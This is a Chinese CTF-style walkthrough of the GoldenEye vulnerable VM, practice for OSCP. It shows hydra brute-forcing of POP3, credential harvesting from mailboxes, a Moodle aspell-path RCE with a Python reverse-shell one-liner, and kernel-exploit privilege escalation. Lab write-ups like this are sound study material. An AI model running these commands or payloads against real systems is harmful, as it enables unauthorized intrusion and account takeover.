前言

备考OSCP,所以接下来会做一系列的OSCP向靶机来练手

靶机描述

I recently got done creating an OSCP type vulnerable machine that's themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.

I'd rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there's a hint of CTF flavor.

I've created and validated on VMware and VirtualBox. You won't need any extra tools other than what's on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click "retry" if prompted, upon initially starting it up because of formatting.

Beta - 2018-05-02 v1 - 2018-05-04

信息搜集

nmap -sP 192.168.218.0/24

发现靶机IP 192.168.218.131

nmap -sV -A 192.168.218.131

  1. Nmap scan report for 192.168.218.131
  2. Host is up (0.00017s latency).
  3. Not shown: 998 closed ports
  4. PORT STATE SERVICE VERSION
  5. 25/tcp open smtp Postfix smtpd
  6. |_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
  7. | ssl-cert: Subject: commonName=ubuntu
  8. | Not valid before: 2018-04-24T03:22:34
  9. |_Not valid after: 2028-04-21T03:22:34
  10. |_ssl-date: TLS randomness does not represent time
  11. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  12. |_http-server-header: Apache/2.4.7 (Ubuntu)
  13. |_http-title: GoldenEye Primary Admin Server
  14. MAC Address: 00:0C:29:06:CF:07 (VMware)
  15. Device type: general purpose
  16. Running: Linux 3.X|4.X
  17. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  18. OS details: Linux 3.2 - 4.9
  19. Network Distance: 1 hop
  20. TRACEROUTE
  21. HOP RTT ADDRESS
  22. 1 0.17 ms 192.168.218.131

访问80端口



得到提示,使用账号GOLDENEYE,top弱密码爆破/sev-home/实现登陆。

抓包看了一下

  1. GET /sev-home/sev-home/ HTTP/1.1
  2. Host: 192.168.218.131
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Referer: http://192.168.218.131/
  9. Upgrade-Insecure-Requests: 1
  10. Authorization: Basic U2V2ZXJuYXlhOkdvbGRlbkV5ZQ==

Authorization: Basic base64(账号:密码)

写个脚本生成字典,intruder爆破无果。

  1. import base64
  2. url = 'http://192.168.218.131/sev-home/'
  3. dic = 'F:/创新实践/dictionary/Web-Fuzzing-Box-main/Brute/Password/Top_Dev_Password.txt'
  4. name = 'GOLDENEYE'
  5. with open(dic, 'r') as f1:
  6. with open('goldeneye.txt', 'a') as f2:
  7. for line in f1:
  8. passwd = line.strip()
  9. plaintext = name + ':'+ passwd
  10. ciphertext = base64.b64encode(plaintext.encode())
  11. auth = 'Basic ' + ciphertext.decode()
  12. f2.write(auth)
  13. f2.write('\n')

重新回到页面,查看源代码。有一个terminal.js.注释部分如下

  1. //
  2. //Boris, make sure you update your default password.
  3. //My sources say MI6 maybe planning to infiltrate.
  4. //Be on the lookout for any suspicious network traffic....
  5. //
  6. //I encoded you p@ssword below...
  7. //
  8. //InvincibleHack3r
  9. //
  10. //BTW Natalya says she can break your codes
  11. //

html实体编码的密码,给它解一下,为InvincibleHack3r

尝试用Boris和密码登陆,账号为boris时成功。

登入后又是一段文本

  1. # GoldenEye
  2. GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network Operator (GNO)
  3. Please email a qualified GNO supervisor to receive the online **GoldenEye Operators Training** to become an Administrator of the GoldenEye system
  4. Remember, since ***security by obscurity\*** is very effective, we have configured our pop3 service to run on a very high non-default port

在源码中发现注释Natalya和Boris,还是之前那俩

从文本看我们下一步要向主管发邮件,pop3端口在高端口处。

再用nmap扫一波全端口

nmap -sV -p- 192.168.218.131

  1. Nmap scan report for 192.168.218.131
  2. Host is up (0.00050s latency).
  3. Not shown: 65531 closed ports
  4. PORT STATE SERVICE VERSION
  5. 25/tcp open smtp Postfix smtpd
  6. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  7. 55006/tcp open ssl/pop3 Dovecot pop3d
  8. 55007/tcp open pop3 Dovecot pop3d
  9. MAC Address: 00:0C:29:06:CF:07 (VMware)

问题来了,smtp和pop3这俩邮件协议要有什么攻击姿势呢?

搜了一下,一是smtp 伪造邮件,二是pop3爆破。伪造邮件的主要问题在于这主管的邮箱地址是啥,supervisor@GoldenEye ?往哪儿发呢。先爆破pop3吧。

有msf的pop3_login模块爆破了一波boris,感觉太慢了。换成hydra吧

(先查了下kali的字典放在哪儿)

  1. hydra -s 55007 -l boris -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.218.131 pop3
  2. hydra -s 55007 -l natalya -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.218.131 pop3

得到结果:

boris secret1!

natalya bird

那么现在尝试登陆pop3,常用命令如下

命令 参数 使用在何种状态中 描述
USER Username 认证 此命令与下面的pass命令若成功,将导致状态转换
PASS Password 认证 此命令若成功,状态转化为更新
APOP Name,Digest 认证 Digest是MD5消息摘要
STAT None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL [Msg#](邮件号,下同) 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
RETR [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由QUIT命令执行
TOP [Msg#] 处理 服务器将返回由参数标识的邮件的邮件头+前n行内容,n必须是正整数
NOOP None 处理 服务器返回一个肯定的响应,用于测试连接是否成功
QUIT None 处理、认证 *1)* 如果服务器处于“处理”状态,么将进入“更新”状态以删除任何标记为删除的邮件,并重返“认证”状态。*2)* 如果服务器处于“认证”状态,则结束会话,退出连接

boris下有3篇邮件

LIST

+OK 3 messages:

1 544

2 373

3 921

.

RETR 1

+OK 544 octets

Return-Path: root@127.0.0.1.goldeneye

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from ok (localhost [127.0.0.1])

by ubuntu (Postfix) with SMTP id D9E47454B1

for ; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)

Message-Id: 20180425022326.D9E47454B1@ubuntu

Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)

From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.

.

RETR 2

+OK 373 octets

Return-Path: natalya@ubuntu

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from ok (localhost [127.0.0.1])

by ubuntu (Postfix) with ESMTP id C3F2B454B1

for ; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)

Message-Id: 20180425024249.C3F2B454B1@ubuntu

Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)

From: natalya@ubuntu

Boris, I can break your codes!

.

RETR 3

+OK 921 octets

Return-Path: alec@janus.boss

X-Original-To: boris

Delivered-To: boris@ubuntu

Received: from janus (localhost [127.0.0.1])

by ubuntu (Postfix) with ESMTP id 4B9F4454B1

for ; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)

Message-Id: 20180425025235.4B9F4454B1@ubuntu

Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)

From: alec@janus.boss

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.


换一个用户Natalya(登陆的时候要大写,也不知道为啥hydra小写也行)有两封邮件

LIST

+OK 2 messages:

1 631

2 1048

.

RETR 1

+OK 631 octets


Return-Path: root@ubuntu

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from ok (localhost [127.0.0.1])

by ubuntu (Postfix) with ESMTP id D5EDA454B1

for ; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

Message-Id: 20180425024542.D5EDA454B1@ubuntu

Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

.

RETR 2

+OK 1048 octets

Return-Path: root@ubuntu

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from root (localhost [127.0.0.1])

by ubuntu (Postfix) with SMTP id 17C96454B1

for ; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

Message-Id: 20180425031956.17C96454B1@ubuntu

Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle

Ok, user creds are:

username: xenia

password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir

**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

根据现在获得的线索,有一个新系统。host绑定靶机IP到severnaya-station.com

访问http://severnaya-station.com/gnocertdir



登陆后,wappalyzer识别为Moodle。点击site blogs标签发现版本2.2.3.

点击message发现与Dr Doak的消息,其中提到邮件账号doak,也爆破一下。等待的时候顺便搜一下Moodle都有啥公开漏洞。



登陆邮箱查看



成功得到账号,在加上刚才的搜索,怀疑是教师角色的RCE那个洞(CVE-2018-1133,但版本又对不上。

先登陆翻一翻再说——在 my private files 中得到s3cret.txt

  1. 007,
  2. I was able to capture this apps adm1n cr3ds through clear txt.
  3. Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
  4. Something juicy is located here: /dir007key/for-007.jpg
  5. Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

图片如下,放大可以看到英文大意是藏了acess key



分析一下



base64这段解出来是xWinter1995x!,尝试登陆admin账号成功。

打点-getshell

想办法getshell.继续看exploit-db,发现有一个2013年的RCE,还是msf上有的exp。但OSCP不是只能在一台靶机上使用msf嘛,大致扫了一遍exp也就3个步骤,为了练习起见我们先手动跟一下exp流程(其实是msf没打通)。

1.更改spell engine



把Spell engine改成上图,第二个不用改

2.插入payload

  1. post = {
  2. 'section' => 'systempaths',
  3. 'sesskey' => sesskey,
  4. 'return' => '',
  5. 's__gdversion' => '2',
  6. 's__pathtodu' => '/usr/bin/du',
  7. 's__aspellpath' => payload.encoded,
  8. 's__pathtodot' => ''
  9. }
  10. aspell = send_request_cgi({
  11. 'method' => 'POST',
  12. 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
  13. 'vars_post' => post,
  14. 'cookie' => sess
  15. })
  16. spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
  17. print_status("Triggering payload")

我们先找到这个页面/admin/settings.php?section=systempaths



这里填的代码也不知道是给点提示还是我之前msf没打通留下的。

填入python弹shell的代码

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.218.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

3.真触发漏洞

  1. spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
  2. print_status("Triggering payload")
  3. resp = send_request_cgi({
  4. 'method' => 'POST',
  5. 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
  6. 'data' => spellcheck,
  7. 'ctype' => 'application/json',
  8. 'cookie' => sess
  9. })
  10. if !resp or resp.code != 200
  11. fail_with("Error triggering payload")

访问http://severnaya-station.com/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php 通过hackbar发送exp的触发内容

成功接到反弹shell

后渗透-提权

照例先找suid提权

  1. find / -perm -u=s -type f 2>/dev/null

本地python起一个http,靶机用wget下载Linux Exploit Suggester 2,给执行权限并执行

上传脏牛

因为没有gcc 用cc 编译执行

  1. cc cowroot.c -o cowroot -pthread
  2. ./cowroot

然后执行ls /root卡住了。。访问网站发现打不开。giao,直接打挂了。

几经波折最终用https://www.exploit-db.com/exploits/37292拿到root

568628e0d993b1973adc718237da6e93



总结

这次的主要收获是对邮件协议pop3的攻击,getshell过程很普通,但是没有用msf——exp步骤清晰确实也不需要。拿到shell之后,提权的过程确实比预料的要废了很多波折。

GoldenEye靶机work_through暨CVE-2013-3630复现的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. CVE 2019-0708 漏洞复现+

    PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...

  3. misdirection靶机work_through

    web打点 nmap扫描 Nmap scan report for 192.168.218.135 Host is up (0.000014s latency). Not shown: 65531 c ...

  4. CVE 2019-0708漏洞复现防御修复

    CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...

  5. Goldeneye 靶机过关记录

    注:因记录时间不同,记录中1.111和1.105均为靶机地址. 1信息收集 1.1得到目标,相关界面如下: 1.2简单信息收集 wappalyzer插件显示: web服务器:Apache 2.4.7 ...

  6. LamPiao靶机work_through

    前言 oscp靶机系列的第二篇.只追求做出来的话,这靶机蛮简单的.但是为了提升难度,尽量避免使用msf--毕竟考试只准用一次嘛,自己写了个exp. 正文 主机发现 nmap -sP 192.168.2 ...

  7. w1R3s靶机work_through

    前言 这靶机挺简单的.虽然网友们有分享oscp向的靶机集,但是没有一个难度梯度,做起来就怪怪的. 打点 nmap -sP 192.168.218.0/24 发现主机IP 192.168.218.134 ...

  8. 搭建域环境,安装Exchange Server 2013,复现CVE-2019-1040

    搭建域环境 操作系统: 域控:Windows server 2008 R2    域成员: Windows Server 2012 . Windows 7 对于将要安装成为DC的服务器来讲,其系统配置 ...

  9. MS17-010漏洞利用复现

    MS17-010漏洞利用复现 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 IP地址:172.16.15.50 首先我们需要查看一下靶机是否开启445端口 打开kal ...

随机推荐

  1. docker部署LNMP架构

    环境要求: IP hostname 192.168.1.1 node1 项目规划: 容器网段:172.16.10.0/24 NGINX:172.16.10.10 MySQL:172.16.10.20 ...

  2. node.js 中间件

    node.js 中间件 node.js middleware Express middleware body-parser cookie-parser cookie-session cors csur ...

  3. H5 下拉刷新、加载更多

    H5 下拉刷新.加载更多 demos const autoLoadMore = (url = ``) => { // todo ... } refs xgqfrms 2012-2020 www. ...

  4. js navigator.wakeLock 保持屏幕唤醒状态

    let lock; btn.addEventListener("click", async () => { try { if (lock) { lock.release(); ...

  5. 教你吃透CSS的盒子模型(Box Model)

    CSS 盒子模型(Box Model) 所有HTML元素可以看作盒子,在CSS中,"box model"这一术语是用来设计和布局时使用. CSS盒模型本质上是一个盒子,封装周围的H ...

  6. fixed实现遮罩层,小程序

    css /** 分享微信,分享朋友圈 **/ .goods_share_mask { background-color: rgba(0, 0, 0, 0.3); position: fixed; to ...

  7. Jmeter beanshell编程实例

    1.引言 BeanShell是一种小型的,免费的,可嵌入的符合Java语法规范的源代码解释器,具有对象脚本语言特性. 在Jmeter实践中,由于BeanShell组件较高的自由度,通常被用来处理较为复 ...

  8. [C#] (原创)一步一步教你自定义控件——06,MaskLayer(遮罩层)

    一.前言 技术没有先进与落后,只有合适与不合适. 本篇的自定义控件是:遮罩层(MaskLayer). 遮罩层对软件的美观与易用性上的提高是很大的,在日常使用过程中也会经常看到各种遮罩层,虽然WinFo ...

  9. 微信小程序(三)-事件绑定

    小程序事件绑定 https://developers.weixin.qq.com/miniprogram/dev/framework/view/two-way-bindings.html 1.数据 / ...

  10. 《Asp.Net Core3 + Vue3入坑教程》-Net Core项目搭建与Swagger配置步骤

    简介 <Asp.Net Core3 + Vue3入坑教程> 此教程仅适合新手入门或者前后端分离尝试者.可以根据图文一步一步进操作编码也可以选择直接查看源码.每一篇文章都有对应的源码 教程后 ...